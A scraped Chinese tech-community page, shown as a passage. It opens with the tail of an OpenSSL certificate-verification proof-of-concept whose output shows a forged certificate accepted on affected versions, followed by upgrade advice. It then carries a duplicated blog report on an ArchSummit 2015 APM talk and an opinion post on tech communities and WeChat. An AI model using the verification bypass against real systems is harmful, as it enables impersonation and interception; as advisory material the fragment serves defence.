X509_LOOKUP_load_file(lookup, "roots.pem", X509_FILETYPE_PEM);
untrusted = load_certs_from_file("untrusted.pem");
bio = BIO_new_file("bad.pem", "r");
x = PEM_read_bio_X509(bio, NULL, 0, NULL);
sctx = X509_STORE_CTX_new();
X509_STORE_CTX_init(sctx, store, x, untrusted);
X509_verify_cert(sctx);
}

int main(void)
{
test();
return 0;
}
将代码中 X509_verify_cert() 函数加入输出信息如下:

编译,以伪造证书测试,程序输出信息为:

num=1, real-num=3

flag=1

flag=2

flag=3

flag=4

flag=5

flag=6

flag=7

flag=8

ok=1

认证成功

将 <1> 处注释代码去掉,编译,再以伪造证书测试,程序输出信息为:

num=3, real-num=3

flag=1

ok=0

认证失败


4.安全建议


建议使用受影响版本(OpenSSL 1.0.2b/1.0.2c 和 OpenSSL 1.0.1n/1.0.1o)的 产品或代码升级OpenSSL到最新版本

ArchSummit全球架构师峰会见闻之APM

互联网资讯Ansible 发表了文章 • 0 个评论 • 1689 次浏览 • 2015-07-18 00:27 • 来自相关话题

引言:

     近几年来是一个创客的时代,我们每天都能在各种不同的地方看到不同的人在各种不同的产品,国内已形成一种创业的热潮。媒体捧吹,政府政策支持,这年头不说自己是创业者都不好意思创业。就拿北京来说,不知道一天内有多少家创业公司兴起,有多少家创业公司倒闭。

    从2011年开始,大数据逐渐进入互联网热词行列。2012年美国硅谷投资的最热门主题就是大数据,大数据的时代的到来也造就了不少创业公司。国外的比如,大数据业务分析公司Splunk、数据服务公司Metamarkets、数据可视化公司Tableau、大数据分析公司ParAccel等。当大数据这个热词涌入国内的时候也促进国内的互联网巨头们也在纷纷布局切分蛋糕,比如阿里、百度、腾讯、金山,还有在线教育的小象学院和早期成立的数据分析专业社区炼数成金。

    进入到2013年莫过于最火的就是云计算和虚拟化技术,作为技术人员熟悉的kvm,vm,esi,cloudstack,openstack等,逐渐进入到互联网技术人员的视野。其中也不乏不少创业者看到了方向。比如基于openstack技术成立于2013年的OpenStack开源云计算公司UnitedStack,还有基于基于cloudstack市场的天云趋势等。

    2014年大家听得最多的莫过于devops和Iass这两个词语吧。devops让我们的运维同学从脚本时代走进了coding时代,因为现在越来越多的公司都要求你会python或者其他的语言,不只简简单单的会个shell脚本就行了,因为互联网在进步。从云的概念进入中国市场,越来越多的创业者看到了中国这个行业的大市场,在国内做Iass服务的,有我们熟知的阿里云,腾讯云,ucloud,青云等。

    从2014年下半年到2015年互联网创客,熟知的应该就是基于Docker容器技术的创业者们,比如DAOCLOUD,云雀,数人科技,希云,Tenxcloud等,同样APM这个词也逐渐成为创客们中的热词了,在国外有我们熟知的APM的创业公司比如:Compuware、iMaster、New Relic、AppDynamics等,而国内的创业者们也看到了中国这个大市场,大蛋糕,也不乏创业公司比如:云智慧、OneAPM、听云等。

  APM是什么鬼    应用性能管理(Application Performance Management)是一个比较新的网络管理方向,主要指对企业的关键业务应用进行监测、优化,提高企业应用的可靠性和质量,保证用户得到良好的服务,降低IT总拥有成本(TCO)。使用全业务链的敏捷APM监控,可使一个企业的关键业务应用的性能更强大,可以提高竞争力,并取得商业成功,因此,加强应用性能管理(APM)可以产生巨大商业利益。              如果你还不了解APM是什么东东,请你移驾这里一张图告诉你什么是APM,想知道什么是真正的APM看这里。

AMP见闻之云智慧
              2015的ArchSummit架构师大会可谓是空前盛况,有将近近千名的架构师们参加。不乏百度、AWS、小米、华为、腾讯等大公司的架构师参加,也有Ucloud、青云、DAOCLOUD、云智慧等新型创业公司的加盟。
 
              作为一个运维人员我可能最关心的就是我们线上的架构应该怎么部署合理和现有架构的性能在哪里的问题,所以我这次特别关心了一下APM主题的演讲,所以在这里我为大家介绍一下我在大会看到的云智慧 高级架构师 高驰涛(Neeke)演讲的"APM与高性能架构"
 
              首先我先介绍一下他在PPT中展示演讲的三个点:性能瓶颈----->瓶颈是谁----->怎么解决 ,那下面我就逐一介绍。
 
性能瓶颈
      1.用户体验            




               不管是一个网站、产品、衣服,用户体验是很重要的,因为只有公司的产品有了用户,这家公司才有前景,才有收益。我之前一个同学在小米的应用推广平台做运维,有一天他跟我说,他们今天平台的日流水要破千万了,可想而知,一个产品只有用户才是你最大的支柱,只有用户体验好了,才能留住用户,你的产品才能体现出更高的价值。所以雷军说过要把产品做到极致,而这个极致的背后就是用户体验。
 
               而用户体验的改善我们需要去从不同的角度去分析,就如上图所示的一样,从设计方面,我们设计出更符合现在用户更喜欢的UI的风格界面,从服务方面,我们需要做好技术售后的服务和海底捞式的优服务,从产品方面我们要把产品做到极致,从性能方面,我们要让用户体验的更爽,让他的抱怨更少,从架构方面,我们应该拿出GEEK的精神去部署,从交互方面,我们应该做到简约明了,而这些并不是每个公司都能做到的,我们可以通过第三方的SaaS提供商来解决这些,可以促进我们更快、更高效的解决这些问题,当这些问题不存在了,作为工程师的我们就可以坐到办公室里面喝茶了,而不是天天焦急频繁迭代去改善我们产品的这些问题,当然这是一个最理想的状态,我想不久的将来会是这么一个状态,因为我们就在做这件事。
      2.网站架构模型








                 作为技术人员我们都知道网站的典型架构模型如上所示,随着业务增长,架构也会越来越大,关系的方面很多有网站的高可用性、数据的一致性、数据存储和搜索等等一系列的问题。随着这些问题的不断产生、扩张,你觉得作为技术人员的你,还有时间喝茶吗,公司只会不停的去招人,不停的去解决这些问题,从而导致你的网站、产品的质量和体验值都会下降,所以应用系统性能对用户的体验是至关重要的!
      3.应用系统性能




                 说起流氓这个词,我想流氓会武术,谁都挡不住哦。但是在这个创客的时代,创业者们本来就是"流氓",因为创业就是这样的,你成功了你就是预言家,失败了你就是在催牛逼。




                 前不久淘宝、携程相继出现故障,我想对他们自己的业务带来了不小的影响,淘宝还好,我相信淘宝确时是因为光缆破坏导致的故障,可怜的是携程,整个业务故障时间整整有半天之久,这个对用户的体验是非常不好的。也会造成用户对公司的信任,我的个人信息是不是会被暴露等一些问题,所以说应用的性能确实很重要,直接影响到了公司财政收入啊。难怪携程故障,老板会发出话来说,谁能给我最快的速度解决问题,奖励100万呢!

瓶颈是谁
        1.环境分析




                 一个公司由不同的部门组成,又我们的技术客服、运维、开发、市场等组成。作为一个互联网公司,当公司发展的道路上,遇到了阻力,我们产品的应用性能问题,到底是谁负责,谁来解决呢?通常我们一般都会先想到我们可爱的开发者同学们身上,然后我们开发的同学就不停的加班,解决bug和问题,但是最后效果并不是很好。就如下图所示:




                 那就让我们来分析分析应用的环境吧




                 没错,如上图所示应用就是一个多技术栈复合的整合环境。我想大家看到这么一个细化的环境,你让我们可爱的开发同学,怎么去发现问题点,即使花了大部分时间找出的问题所在,这么一个环境一个人可能完成吗,需要多个开发同学配合修复,但是等你花了大部分时间来分析你应用的时候,你公司的业务进度也是停滞不前的,蛋糕也许就被别人切走了!所以这就是APM的价值所在,透视宝则孕育而生





       2.坑在哪里








                   问题出现了,作为技术人员就会去找坑,但是业务环境和系统环境都可能有问题,所以找坑成为一种苦恼,喝茶的时间自然没有,我们需要从前端cdn层、web层、缓存存、数据层等方面着手一一去分析,但是最后你不一定可以准确的找到答案。就拿我们线上一次事件来说吧,我们的业务任务调度出现了瓶颈,我们足足花了三天之久的时间,最后才有80%的把握确认瓶颈出现在缓存系统redis上面,虽然已经找到了问题所在,最后重启redis,把资源释放了,最后暂时把问题解决了,但是最后这种问题还是会发生了,所以最后我们只好扩展redis,最后选择用来豌豆荚开源出来的分布式redis系统codis得于解决。从这个案例上来看,可想而知,查找坑是多嘛痛苦的事情啊,这让我想起了一句歌词"多么痛的领悟"! 而APM正好可以帮你解决你的痛苦。
 
怎么解决
                     那我们到底应该怎么去发现和解决呢?
       1.优化方案




                      我们的分享人给出了如上图所示的一些建议。无可厚非,我们在设计架构和语言程序的选择上面,头期一定要多考虑到性能问题和可扩展和高可用的问题,要不后期随着产品和业务的增长你只能去找坑,填坑了!








                      对于监控大家当然不陌生,监控是作为一个业务增长保证的基础,因为在业务增长的同时,我们要未雨绸缪的考虑到一些性能方面的问题,而监控正好可以我们很好的做个预警工作,可以让我们有足够充裕的时间来解决问题,不至于等到问题出现,来临时抱佛脚,着急的处理。而云智慧他们有这个优势,因为他们还有一款产品监控宝, 我想大家应该都听说过吧。
     
        2.发现解决




                       如上图是云智慧产品透视宝的Smart Agent的架构图,那它的特点是什么,能干什么?




                       从上图可以看出smart agent就是类似于我们常说的一个嵌入的sdk一样,只不过这是一个比较高级的sdk,它可以自动发现你主机上面的应用程序、代码执行效率、已经整个环境的生态关系和性能指标的采集、分析数据,从而发现你这个应用系统的性能瓶颈所在。那有人,就会问了这个东西安装在我服务器上是否安全,我的信息是否会被盗取和丢失呢?




                         我想作为用户有担心是无可厚非的,但是我想做一个长久的公司,是会考虑到我们用户的感受的,看到如上图的解释,我想安全问题,应该不存在的。那这个系统实现原理是怎么样的,是怎么实现的?大会上分享人给出了一个php code执行的数据流图




                          整个系统又能解决哪些问题呢?




                          web端用户体验问题








                          作为运维工程师,经常会有客户反应公司网站慢,但是作为运维人员有不能很好的去查询预知,哪个地方的客户访问比较慢,只有客户反应过来才了解,这样就导致用户体验不好的问题,以致业务收到影响。我这里举个例子,我上家公司是做app市场推广和下载的,类似于91助手,我们公司的用户群体主要集中在北京、上海、深圳、广州等一线城市,有一天我们领导要我分别去测试评估这几个城市在我们平台用户下载速度,这可是给我出了一道难题了,我只好让朋友帮忙,测试了,然后评估一个数据了。页面详情追踪我想,为我们做web优化做出了很好的分析,可以针对相应慢的资源,做出相应的优化方案,不错觉得功能还可以,可以解决痛点!
                         后端服务事务分析








                         深入到后端可以让我们清晰的了解性能出现在哪个节点上面,代码级别可以让我们深入了解开发者的代码性能的问题,已经查询SQL性能的问题。看起来挺好高级的,但是如果能提供解决方案更好了。比如查询出来我有一个SQL执行时间过长,然后给出一个认为更优的SQL语句,来做到真正为用户考虑,尽最大力度,减小用户的痛点,就更好了,不过作为创业公司已经做的很不错了,继续加油吧!
                          应用架构




                          有一个清晰的业务应用架构,当然对解决问题是有很大帮助的。最后问题发现了,解决了,是不是可以喝茶了,balabala,happy!








                           真心要喝茶去了,因为大牛的分享结束了,真是意犹未尽啊!
下面我分享几张现场的照片和大牛的PPT给大家
PPT下载地址
































本人文笔有限,欢迎大家交流、拍砖 查看全部
a3.png

引言:


     近几年来是一个创客的时代,我们每天都能在各种不同的地方看到不同的人在各种不同的产品,国内已形成一种创业的热潮。媒体捧吹,政府政策支持,这年头不说自己是创业者都不好意思创业。就拿北京来说,不知道一天内有多少家创业公司兴起,有多少家创业公司倒闭。

    从2011年开始,大数据逐渐进入互联网热词行列。2012年美国硅谷投资的最热门主题就是大数据,大数据的时代的到来也造就了不少创业公司。国外的比如,大数据业务分析公司Splunk、数据服务公司Metamarkets、数据可视化公司Tableau、大数据分析公司ParAccel等。当大数据这个热词涌入国内的时候也促进国内的互联网巨头们也在纷纷布局切分蛋糕,比如阿里、百度、腾讯、金山,还有在线教育的小象学院和早期成立的数据分析专业社区炼数成金。

    进入到2013年莫过于最火的就是云计算和虚拟化技术,作为技术人员熟悉的kvm,vm,esi,cloudstack,openstack等,逐渐进入到互联网技术人员的视野。其中也不乏不少创业者看到了方向。比如基于openstack技术成立于2013年的OpenStack开源云计算公司UnitedStack,还有基于基于cloudstack市场的天云趋势等。

    2014年大家听得最多的莫过于devops和Iass这两个词语吧。devops让我们的运维同学从脚本时代走进了coding时代,因为现在越来越多的公司都要求你会python或者其他的语言,不只简简单单的会个shell脚本就行了,因为互联网在进步。从云的概念进入中国市场,越来越多的创业者看到了中国这个行业的大市场,在国内做Iass服务的,有我们熟知的阿里云,腾讯云,ucloud,青云等。

    从2014年下半年到2015年互联网创客,熟知的应该就是基于Docker容器技术的创业者们,比如DAOCLOUD,云雀,数人科技,希云,Tenxcloud等,同样APM这个词也逐渐成为创客们中的热词了,在国外有我们熟知的APM的创业公司比如:Compuware、iMaster、New Relic、AppDynamics等,而国内的创业者们也看到了中国这个大市场,大蛋糕,也不乏创业公司比如:云智慧、OneAPM、听云等。


  APM是什么鬼   
    应用性能管理(Application Performance Management)是一个比较新的网络管理方向,主要指对企业的关键业务应用进行监测、优化,提高企业应用的可靠性和质量,保证用户得到良好的服务,降低IT总拥有成本(TCO)。使用全业务链的敏捷APM监控,可使一个企业的关键业务应用的性能更强大,可以提高竞争力,并取得商业成功,因此,加强应用性能管理(APM)可以产生巨大商业利益。
              如果你还不了解APM是什么东东,请你移驾这里一张图告诉你什么是APM,想知道什么是真正的APM看这里。

AMP见闻之云智慧
              2015的ArchSummit架构师大会可谓是空前盛况,有将近近千名的架构师们参加。不乏百度、AWS、小米、华为、腾讯等大公司的架构师参加,也有Ucloud、青云、DAOCLOUD、云智慧等新型创业公司的加盟。
 
              作为一个运维人员我可能最关心的就是我们线上的架构应该怎么部署合理和现有架构的性能在哪里的问题,所以我这次特别关心了一下APM主题的演讲,所以在这里我为大家介绍一下我在大会看到的云智慧 高级架构师 高驰涛(Neeke)演讲的"APM与高性能架构"
 
              首先我先介绍一下他在PPT中展示演讲的三个点:性能瓶颈----->瓶颈是谁----->怎么解决 ,那下面我就逐一介绍。
 
性能瓶颈
      1.用户体验            
st1.png

               不管是一个网站、产品、衣服,用户体验是很重要的,因为只有公司的产品有了用户,这家公司才有前景,才有收益。我之前一个同学在小米的应用推广平台做运维,有一天他跟我说,他们今天平台的日流水要破千万了,可想而知,一个产品只有用户才是你最大的支柱,只有用户体验好了,才能留住用户,你的产品才能体现出更高的价值。所以雷军说过要把产品做到极致,而这个极致的背后就是用户体验。
 
               而用户体验的改善我们需要去从不同的角度去分析,就如上图所示的一样,从设计方面,我们设计出更符合现在用户更喜欢的UI的风格界面,从服务方面,我们需要做好技术售后的服务和海底捞式的优服务,从产品方面我们要把产品做到极致,从性能方面,我们要让用户体验的更爽,让他的抱怨更少,从架构方面,我们应该拿出GEEK的精神去部署,从交互方面,我们应该做到简约明了,而这些并不是每个公司都能做到的,我们可以通过第三方的SaaS提供商来解决这些,可以促进我们更快、更高效的解决这些问题,当这些问题不存在了,作为工程师的我们就可以坐到办公室里面喝茶了,而不是天天焦急频繁迭代去改善我们产品的这些问题,当然这是一个最理想的状态,我想不久的将来会是这么一个状态,因为我们就在做这件事。
      2.网站架构模型
st2.png

st3.png

                 作为技术人员我们都知道网站的典型架构模型如上所示,随着业务增长,架构也会越来越大,关系的方面很多有网站的高可用性、数据的一致性、数据存储和搜索等等一系列的问题。随着这些问题的不断产生、扩张,你觉得作为技术人员的你,还有时间喝茶吗,公司只会不停的去招人,不停的去解决这些问题,从而导致你的网站、产品的质量和体验值都会下降,所以应用系统性能对用户的体验是至关重要的!
      3.应用系统性能
st4.png

                 说起流氓这个词,我想流氓会武术,谁都挡不住哦。但是在这个创客的时代,创业者们本来就是"流氓",因为创业就是这样的,你成功了你就是预言家,失败了你就是在催牛逼。
at4.png

                 前不久淘宝、携程相继出现故障,我想对他们自己的业务带来了不小的影响,淘宝还好,我相信淘宝确时是因为光缆破坏导致的故障,可怜的是携程,整个业务故障时间整整有半天之久,这个对用户的体验是非常不好的。也会造成用户对公司的信任,我的个人信息是不是会被暴露等一些问题,所以说应用的性能确实很重要,直接影响到了公司财政收入啊。难怪携程故障,老板会发出话来说,谁能给我最快的速度解决问题,奖励100万呢!

瓶颈是谁
        1.环境分析
at5.png

                 一个公司由不同的部门组成,又我们的技术客服、运维、开发、市场等组成。作为一个互联网公司,当公司发展的道路上,遇到了阻力,我们产品的应用性能问题,到底是谁负责,谁来解决呢?通常我们一般都会先想到我们可爱的开发者同学们身上,然后我们开发的同学就不停的加班,解决bug和问题,但是最后效果并不是很好。就如下图所示:
at6.png

                 那就让我们来分析分析应用的环境吧
at7.png

                 没错,如上图所示应用就是一个多技术栈复合的整合环境。我想大家看到这么一个细化的环境,你让我们可爱的开发同学,怎么去发现问题点,即使花了大部分时间找出的问题所在,这么一个环境一个人可能完成吗,需要多个开发同学配合修复,但是等你花了大部分时间来分析你应用的时候,你公司的业务进度也是停滞不前的,蛋糕也许就被别人切走了!所以这就是APM的价值所在,透视宝则孕育而生
at8.png


       2.坑在哪里
at9.png

at10.png

                   问题出现了,作为技术人员就会去找坑,但是业务环境和系统环境都可能有问题,所以找坑成为一种苦恼,喝茶的时间自然没有,我们需要从前端cdn层、web层、缓存存、数据层等方面着手一一去分析,但是最后你不一定可以准确的找到答案。就拿我们线上一次事件来说吧,我们的业务任务调度出现了瓶颈,我们足足花了三天之久的时间,最后才有80%的把握确认瓶颈出现在缓存系统redis上面,虽然已经找到了问题所在,最后重启redis,把资源释放了,最后暂时把问题解决了,但是最后这种问题还是会发生了,所以最后我们只好扩展redis,最后选择用来豌豆荚开源出来的分布式redis系统codis得于解决。从这个案例上来看,可想而知,查找坑是多嘛痛苦的事情啊,这让我想起了一句歌词"多么痛的领悟"! 而APM正好可以帮你解决你的痛苦。
 
怎么解决
                     那我们到底应该怎么去发现和解决呢?
       1.优化方案
as5.png

                      我们的分享人给出了如上图所示的一些建议。无可厚非,我们在设计架构和语言程序的选择上面,头期一定要多考虑到性能问题和可扩展和高可用的问题,要不后期随着产品和业务的增长你只能去找坑,填坑了!
as6.png

as7.png

                      对于监控大家当然不陌生,监控是作为一个业务增长保证的基础,因为在业务增长的同时,我们要未雨绸缪的考虑到一些性能方面的问题,而监控正好可以我们很好的做个预警工作,可以让我们有足够充裕的时间来解决问题,不至于等到问题出现,来临时抱佛脚,着急的处理。而云智慧他们有这个优势,因为他们还有一款产品监控宝, 我想大家应该都听说过吧。
     
        2.发现解决
as8.png

                       如上图是云智慧产品透视宝的Smart Agent的架构图,那它的特点是什么,能干什么?
as9.png

                       从上图可以看出smart agent就是类似于我们常说的一个嵌入的sdk一样,只不过这是一个比较高级的sdk,它可以自动发现你主机上面的应用程序、代码执行效率、已经整个环境的生态关系和性能指标的采集、分析数据,从而发现你这个应用系统的性能瓶颈所在。那有人,就会问了这个东西安装在我服务器上是否安全,我的信息是否会被盗取和丢失呢?
ab1.png

                         我想作为用户有担心是无可厚非的,但是我想做一个长久的公司,是会考虑到我们用户的感受的,看到如上图的解释,我想安全问题,应该不存在的。那这个系统实现原理是怎么样的,是怎么实现的?大会上分享人给出了一个php code执行的数据流图
ab2.png

                          整个系统又能解决哪些问题呢?
ab3.png

                          web端用户体验问题
ab4.png

ab5.png

                          作为运维工程师,经常会有客户反应公司网站慢,但是作为运维人员有不能很好的去查询预知,哪个地方的客户访问比较慢,只有客户反应过来才了解,这样就导致用户体验不好的问题,以致业务收到影响。我这里举个例子,我上家公司是做app市场推广和下载的,类似于91助手,我们公司的用户群体主要集中在北京、上海、深圳、广州等一线城市,有一天我们领导要我分别去测试评估这几个城市在我们平台用户下载速度,这可是给我出了一道难题了,我只好让朋友帮忙,测试了,然后评估一个数据了。页面详情追踪我想,为我们做web优化做出了很好的分析,可以针对相应慢的资源,做出相应的优化方案,不错觉得功能还可以,可以解决痛点!
                         后端服务事务分析
ab6.png

ab7.png

                         深入到后端可以让我们清晰的了解性能出现在哪个节点上面,代码级别可以让我们深入了解开发者的代码性能的问题,已经查询SQL性能的问题。看起来挺好高级的,但是如果能提供解决方案更好了。比如查询出来我有一个SQL执行时间过长,然后给出一个认为更优的SQL语句,来做到真正为用户考虑,尽最大力度,减小用户的痛点,就更好了,不过作为创业公司已经做的很不错了,继续加油吧!
                          应用架构
ab8.png

                          有一个清晰的业务应用架构,当然对解决问题是有很大帮助的。最后问题发现了,解决了,是不是可以喝茶了,balabala,happy!
ab9.png

ab10.png

                           真心要喝茶去了,因为大牛的分享结束了,真是意犹未尽啊!
下面我分享几张现场的照片和大牛的PPT给大家
PPT下载地址
2.jpg

3.jpg

4.jpg

5.jpg

6.jpg

7.jpg

8.jpg

9.jpg

本人文笔有限,欢迎大家交流、拍砖

学习技术交流的净土绝对不是微信

互联网资讯Ansible 发表了文章 • 0 个评论 • 845 次浏览 • 2015-07-13 01:20 • 来自相关话题

今天查看微信订阅号,查看到了微信订阅号"运维帮"南非蜘蛛发布的一篇文章"纪念曾经一起上过的技术社区",文章最后的一句话明显是重点,前面说的都是铺垫,这么做的原因是什么,请看我的分析。
"纪念曾经一起上过的技术社区"文章原文如下: 

不知道是现在技术太成熟,还是大家都懒的交流,以前活跃的社区都歇菜了,比如Chinaunix、ITPUB、Linuxfans、Linuxform、Linuxeden、网易社区等等。
作为国内最大的技术社区Chinaunix,今天的数据统计是:
论坛共有 17794083 篇帖子(其中 1459640 篇主题) 今日发帖量为 139 篇
现在每天发帖量也不过200篇,都已经杂草丛生,无人管理,版主会议室也是常年无人发言,经常看到很多版主请辞,估计是不做这行了?也可能是精力不够。
社区之死是什么原因?无人知晓。
我个人还是比较喜欢bbs和邮件订阅形式的技术讨论,一是讨论的东西可以沉淀,留下历史记录,如果搜索引擎收录了,还可以帮助更多的人,二是想回答就回答,不想回答就潜水。QQ和微信讨论的好处是实时,但坏处也是实时,天天被人追着问问题,我心也不免狂躁,就算不回答,看着头像闪来闪去也闹心。
现在还有一些其它地方也可以讨论技术,反正只要有工程师活跃的地方,就有技术讨论。
微博讨论技术感觉是怪怪的,好像更适合发布一些消息,而且噪音太多,有用的东西很容易被淹没在明星的爆料中,微博娱乐属性更强一些,其次是科技新闻。
知乎这种问答社区也经常看到技术讨论,但是更多的是争吵和鄙视。

寻找一方净土,一起学习技术,看来只有yunweibang订阅号了,还有运维帮线下技术沙龙,准备开始第二期了,大家一起期待一下。
     上面的内容中有我共鸣的地方那就是,有好的东西,好的技术文章和好的解决方法我们应该分享出来,被搜索引擎收录,然后帮助跟我们一样,学习linux开源技术和编程语言等技术的后来者,可以让他们走很多弯路,减少痛苦,这何乐而不为呢?我相信就行开源的一些技术一样,如果它不开源出来,源代码不开放,你根本就不会了解到它核心的思想,和优秀的地方,也不会促进大家一起共享代码,共同推动技术的发展。

       确实现在好多技术社区已经不活跃了,基本上就是搜索引擎搜索到一些旧的文章和问题,带来这些社区的一些访问。我想原因有如下几点:
       1.现在很多做技术的人都有自己的博客了,所以他们主动逛这种社区类型的网站概率小了。
        2.就是现在主流做技术的人员比较活跃的人群的年龄阶段已经是80后到93之间的群体了,而这些人都是比较喜欢新鲜事物和追求一些geek精神的人,以前的站点旧式的bbs的页面,已经不能让这些人很好的接受了,因为这些界面拿现在来说,就是落后式,就是比较loss。
        3.现在的技术者平常很少关系站点的好坏和分享的问题,因为现在互联网信息传播的途径太多了QQ,微信,Qzone,微博,社区等。他们不该如何选择了,所以他们干脆就不选择了,随波逐流,看到好的技术文章和分享就赞和分享,所以导致技术者们没有专一的习惯了,所以以前的一些技术社区都在衰败中了。

        "南非蜘蛛"在文中还提到了知乎,以说知乎我其实不得不吐槽一下。恨一个人肯定是有原因的,要不是以前太爱了被伤害了,要不就是被虐待了,当然我吐槽知乎也是有历史原因的。当初我也是发现像"南非蚂蚁"所说的问题,就是大家纯分享技术的动力越来越少了,变成了聊天,侃大山不管是qq群还是微信群,真正做技术分享和帮助的社区网站太少了。所以当初我就拿着我朋友"采菊篱下"的openskill.cn这个域名到知乎提问,问题的内容是"大家好,我和我朋友有个域名openskill.cn,然后希望做一个技术分享的社区,让大家可以看到有货的一个社区,做一个分享的社区,希望有愿意和我们一起弄的同学,联系qq:912xxxx" ,但是后来知乎就给我发来一封私信"说我发的信息是广告等垃圾信息" ,后来我就无意间回了一封私信"你们公司 什么意思啊 我这个提问 认为是广告等垃圾信息,我违反什么了?",但是没有下文了,到最后也就这样了。这就是我吐槽知乎的原因。所以以后我再也不上知乎,也不看知乎里面的信息,当然就像"南非蜘蛛"提到的"知乎这种问答社区也经常看到技术讨论,但是更多的是争吵和鄙视",因为知乎现在的运营已经形成了这种恶劣的情况,谁是什么ceo,什么cto,高级dba,高级什么莫莫。这不是一个技术分享社区应该有的现象,这就是知乎自认为所谓的价值存在的地方,你看我们网站这么多人用,有谁,这个那个,cto,ceo,什么的,把分享和开源的精神都扭曲了,所以我不喜欢知乎。经过知乎这件事情后我和我朋友"采菊篱下"就一起创建了现在这个技术文章分享和工作中遇到的错误和技术难题解决方法和思路的一个,技术问答和文章分享的网站AfewBug 分享动力。虽然现在没有什么用户和跟我们有共同爱好的人来做这件事情,但是我们会坚持的,因为我们是爱分享和爱开源的人。希望可以帮助到后来者,我们发布的这些文章和错误的解决方法和方案!

       最后我们回到话题"寻找一方净土,一起学习技术,看来只有yunweibang订阅号了,还有运维帮线下技术沙龙,准备开始第二期了,大家一起期待一下。"南非蜘蛛同学明显实在为自己的订阅号,做广告和宣传吗,我不想深入说其中的缘由,都在互联网我想大家都应该知道。但是我希望大家做的事情都是正能量,可以让大家受益的,而不是极少数的人受益。

        当然我写这篇文章有人也会说,你是不是也在做广告和拉用户量,然后让你们网站火起来啊。我想说的是,不是,但是相不相信就看你自己心里怎么判断了。因为我写这篇文章的目的是想告诉大家,真正好的东西,应该大家一起分享。还有就是我个人认为微信真心不是学习技术的一份净土,它可能是很好的营销和市场宣传的一个很好的渠道和途径。因为现在微信已经是很多公司、微商、自媒体、网站等,传播知名度的一个很好的工具。无可厚非,微信并没有错,它是成功的,正是因为它的作用它才有存在的价值。所以南非蜘蛛写净土只有yunweibang订阅号了,他并没有说错,因为这是微信的作用。

        这篇文章纯属自己心血来潮,都是个人观点,不过欢迎大家拍砖。 查看全部


今天查看微信订阅号,查看到了微信订阅号"运维帮"南非蜘蛛发布的一篇文章"纪念曾经一起上过的技术社区",文章最后的一句话明显是重点,前面说的都是铺垫,这么做的原因是什么,请看我的分析。
"纪念曾经一起上过的技术社区"文章原文如下: 


       不知道是现在技术太成熟,还是大家都懒的交流,以前活跃的社区都歇菜了,比如Chinaunix、ITPUB、Linuxfans、Linuxform、Linuxeden、网易社区等等。
作为国内最大的技术社区Chinaunix,今天的数据统计是:
论坛共有 17794083 篇帖子(其中 1459640 篇主题) 今日发帖量为 139 篇
现在每天发帖量也不过200篇,都已经杂草丛生,无人管理,版主会议室也是常年无人发言,经常看到很多版主请辞,估计是不做这行了?也可能是精力不够。
社区之死是什么原因?无人知晓。
我个人还是比较喜欢bbs和邮件订阅形式的技术讨论,一是讨论的东西可以沉淀,留下历史记录,如果搜索引擎收录了,还可以帮助更多的人,二是想回答就回答,不想回答就潜水。QQ和微信讨论的好处是实时,但坏处也是实时,天天被人追着问问题,我心也不免狂躁,就算不回答,看着头像闪来闪去也闹心。
现在还有一些其它地方也可以讨论技术,反正只要有工程师活跃的地方,就有技术讨论。
微博讨论技术感觉是怪怪的,好像更适合发布一些消息,而且噪音太多,有用的东西很容易被淹没在明星的爆料中,微博娱乐属性更强一些,其次是科技新闻。
知乎这种问答社区也经常看到技术讨论,但是更多的是争吵和鄙视。

寻找一方净土,一起学习技术,看来只有yunweibang订阅号了,还有运维帮线下技术沙龙,准备开始第二期了,大家一起期待一下。

     上面的内容中有我共鸣的地方那就是,有好的东西,好的技术文章和好的解决方法我们应该分享出来,被搜索引擎收录,然后帮助跟我们一样,学习linux开源技术和编程语言等技术的后来者,可以让他们走很多弯路,减少痛苦,这何乐而不为呢?我相信就行开源的一些技术一样,如果它不开源出来,源代码不开放,你根本就不会了解到它核心的思想,和优秀的地方,也不会促进大家一起共享代码,共同推动技术的发展。

       确实现在好多技术社区已经不活跃了,基本上就是搜索引擎搜索到一些旧的文章和问题,带来这些社区的一些访问。我想原因有如下几点:
       1.现在很多做技术的人都有自己的博客了,所以他们主动逛这种社区类型的网站概率小了。
        2.就是现在主流做技术的人员比较活跃的人群的年龄阶段已经是80后到93之间的群体了,而这些人都是比较喜欢新鲜事物和追求一些geek精神的人,以前的站点旧式的bbs的页面,已经不能让这些人很好的接受了,因为这些界面拿现在来说,就是落后式,就是比较loss。
        3.现在的技术者平常很少关系站点的好坏和分享的问题,因为现在互联网信息传播的途径太多了QQ,微信,Qzone,微博,社区等。他们不该如何选择了,所以他们干脆就不选择了,随波逐流,看到好的技术文章和分享就赞和分享,所以导致技术者们没有专一的习惯了,所以以前的一些技术社区都在衰败中了。

        "南非蜘蛛"在文中还提到了知乎,以说知乎我其实不得不吐槽一下。恨一个人肯定是有原因的,要不是以前太爱了被伤害了,要不就是被虐待了,当然我吐槽知乎也是有历史原因的。当初我也是发现像"南非蚂蚁"所说的问题,就是大家纯分享技术的动力越来越少了,变成了聊天,侃大山不管是qq群还是微信群,真正做技术分享和帮助的社区网站太少了。所以当初我就拿着我朋友"采菊篱下"的openskill.cn这个域名到知乎提问,问题的内容是"大家好,我和我朋友有个域名openskill.cn,然后希望做一个技术分享的社区,让大家可以看到有货的一个社区,做一个分享的社区,希望有愿意和我们一起弄的同学,联系qq:912xxxx" ,但是后来知乎就给我发来一封私信"说我发的信息是广告等垃圾信息" ,后来我就无意间回了一封私信"你们公司 什么意思啊 我这个提问 认为是广告等垃圾信息,我违反什么了?",但是没有下文了,到最后也就这样了。这就是我吐槽知乎的原因。所以以后我再也不上知乎,也不看知乎里面的信息,当然就像"南非蜘蛛"提到的"知乎这种问答社区也经常看到技术讨论,但是更多的是争吵和鄙视",因为知乎现在的运营已经形成了这种恶劣的情况,谁是什么ceo,什么cto,高级dba,高级什么莫莫。这不是一个技术分享社区应该有的现象,这就是知乎自认为所谓的价值存在的地方,你看我们网站这么多人用,有谁,这个那个,cto,ceo,什么的,把分享和开源的精神都扭曲了,所以我不喜欢知乎。经过知乎这件事情后我和我朋友"采菊篱下"就一起创建了现在这个技术文章分享和工作中遇到的错误和技术难题解决方法和思路的一个,技术问答和文章分享的网站AfewBug 分享动力。虽然现在没有什么用户和跟我们有共同爱好的人来做这件事情,但是我们会坚持的,因为我们是爱分享和爱开源的人。希望可以帮助到后来者,我们发布的这些文章和错误的解决方法和方案!

